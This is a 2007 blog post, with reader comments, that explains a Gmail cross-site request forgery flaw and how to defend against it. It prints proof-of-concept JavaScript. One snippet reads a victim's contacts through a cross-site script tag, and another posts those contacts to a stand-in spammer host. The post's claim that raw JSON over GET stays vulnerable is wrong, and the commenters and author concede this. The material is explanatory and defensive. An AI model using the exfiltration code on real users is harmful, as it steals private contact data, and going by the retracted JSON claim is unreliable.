Monday, January 1st, 2007

Gmail CSRF Security Flaw

Category: DWR, Editorial

<p>There is a lot of chatter regarding a CSRF security flaw in Gmail.

CSRF attacks are Cross Site Request Forgery attacks, which are cousins of XSS, but different.

Joe Walker of DWR has written a detailed account of CSRF and how to avoid exposing your applications to them.

Anatomy of the Gmail Attack

If you were logged onto GMail then visiting this page will show you all your GMail contacts. How does it work?

The attack uses script tags, and just assumes that you are logged-on. Since most GMail users are permanently logged on, this isn’t a huge problem.

There is a Google URL that returns some script containing your contacts:

http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999

The page will look like this:

javascript
< view plain text >
  1. google ({
  2.   Success: true,
  3.   Errors: [],
  4.   Body: {
  5.     AuthToken: {
  6.       Value: '********'
  7.     },
  8.     Contacts: [
  9.       {
  10.         Id: '***',
  11.         Email: 'users at dwr.dev.java.net',
  12.         Affinity: ***,
  13.         Groups: [
  14.           {
  15.             id: '^Freq',
  16.             value: 'users at dwr.dev.java.net'
  17.           }
  18.         ],
  19.         Addressess: [],
  20.         Phoness: [],
  21.         Imss: []
  22.       },
  23.     // Lots more contacts here
  24.     ]
  25.   }
  26. })

So we’re calling a function “google()” and passing it a data structure that includes all your contacts. So all we need to do is to do something with this data. The page I linked-to earlier creates a list from it using code like this:

  1. <script type="text/javascript">
  2. function google(data){
  3.     var emails, i;
  4.     for (i = 0; i < data.Body.Contacts.length; i++) {
  5.        mails += "<li>" + data.Body.Contacts[i].Email + "";
  6.     }
  7.     document.write("<ol>" + emails + "</ol>");
  8. }
  9. </script>
  10.  
  11. <script type="text/javascript" src="http://docs.google.com/data/contacts?out=js&show=ALL&psort=Affinity&callback=google&max=99999">
  12. </script>

But it would be just as easy to post the list of addresses off to some spam address catcher service:

  1. <script type="text/javascript">
  2. function google(data){
  3.     var body, i;
  4.     for (i = 0; i < data.Body.Contacts.length; i++) {
  5.        body += data.Body.Contacts[i].Email + "\n";
  6.    }
  7.    var xhr = new ActiveXObject("Microsoft.XMLHTTP");
  8.    xhr.open("POST", "http://evilspammerservice.com/catcher");
  9.    xhr.send(body);
  10. }
  11. </script>

How to Protect Your Server

There are 2 known solutions to CSRF attacks: secret hidden fields and scripted cookies.

Things that wont protect you:

  • Switching to POST and denying GET: Forms can be trivially altered with DOM manipulation to forge POST requests.
  • Checking the referrer field: the referrer field is open to manipulation and it is sometimes not sent by browsers. So you are left with a choice between allowing no referrer (an attacker can get around this) and denying no referrer (breaks many innocent users).
  • JSON: Removing the function call in the GMail example would mean we would have to use XHR rather then just a simple Script Tag. The door is still wide open.

Secret Hidden Fields

If all your sensitive URLs contain some secret shipped with the page, then the cross-domain rules in the browser will stop an attacker from discovering the secret, so the server can distinguish between submissions that come from pages supplied by the server (which are safe).

This technique is good for the “Web 1.0″ situations which are light on scripting. It is fairly complex to setup because it requires the server to keep a track of the secret, and to manipulate all forms to contain a hidden field.

Double Submit the Cookie

The CSRF attack works by subverting what the browser will do with the cookie.  Ideally, your cookies would be totally unavailable to anyone outside of your domain. This attack works because XMLHttpRequest in some page can use the cookies of some foreign domain when posting to that foreign domain. However the script can not read the cookie directly due to the cross-domain rules, so a slight modification of the hidden field solution is to read the session cookie using JavaScript and then adding to URLs, forms or the body of a POST request, and then checking in the server that the session cookie value that the browser sends in the header (which is subvertable) is the same as the session cookie in the request (this is not subvertable in the same way).

If you are using Ajax or a significant amount of scripting then this solution is a simple fix once solution.

Use a Library

Specifically – use DWR. If you are using DWR version 2 then this CSRF protection comes for free. DWR implements the double cookie submission pattern transparently.

There is some talk on ZDNet and it appears that Digg may have the same issue.

Related Content:

Posted by Dion Almaer at 3:08 pm
9 Comments

++++-
4.4 rating from 61 votes

9 Comments »

Comments feed TrackBack URI

Does this actually work? All I get is this:

google ({
Success: false,
Errors: []
})

Comment by Hans Duedal — January 1, 2007

This exploit will only work on Internet Explorer.
Mozilla/Firefox will prevent an XmlHttpRequest to another domain. Try it for yourself and see.

Comment by only IE — January 1, 2007

To be more precise, if Google only returned JSON instead of that stupid function syntax “google({…}) ” then only IE could be exploited. IE is the only browser that allows XHR to call other domains. Mozilla/Firefox will not allow it.

Comment by only IE — January 1, 2007

Google have now fixed the problem properly – hence the Success:false

Comment by Joe Walker — January 1, 2007

I don’t get the bit about using XHR. The same origin policy prevents the XHR connection to GMail from some random host, no?

Comment by Martin — January 1, 2007

The example urls now return an error JSON response. Has anyone figured out what the security check is, that was added?

Comment by Julien Couvreur — January 1, 2007

Martin, the XHR bit was in reference to the incorrect blog post in the ajaxian article above that claimed that Google would still be at risk even if they dropped the google() function call and just sent JSON instead. This is simply not the case due to the same origin policy.

Comment by Zorba — January 1, 2007

The XHR comment by the JSON thing is wrong – I was typing before I’d thought about it properly. I stand by the assertion that JSON isn’t always a fix however. JSON is a fix if you are doing something read-only. I’ve updated the blog post.

Comment by Joe Walker — January 2, 2007

Dear Ajaxian Editor,

Could you please remove the following incorrect information from the article overview above?

“JSON: Removing the function call in the GMail example would mean we would have to use XHR rather then just a simple Script Tag. The door is still wide open.”

The original website from which it was copied was wrong, and its text has been updated to reflect that any HTTP GET that returns raw JSON are 100% fine and is not subject to Cross Site Request Forgery attacks. If your server’s HTTP GET does somehting stupid like modify data – then you are not obeying the HTTP spec for GETs to be read-only actions, and its your own fault if something goes wrong. In any event, this Google bug was never a JSON problem. It could have happened with any other data format.

Comment by Note to Ajaxian Editor — January 2, 2007

Leave a comment

You must be logged in to post a comment.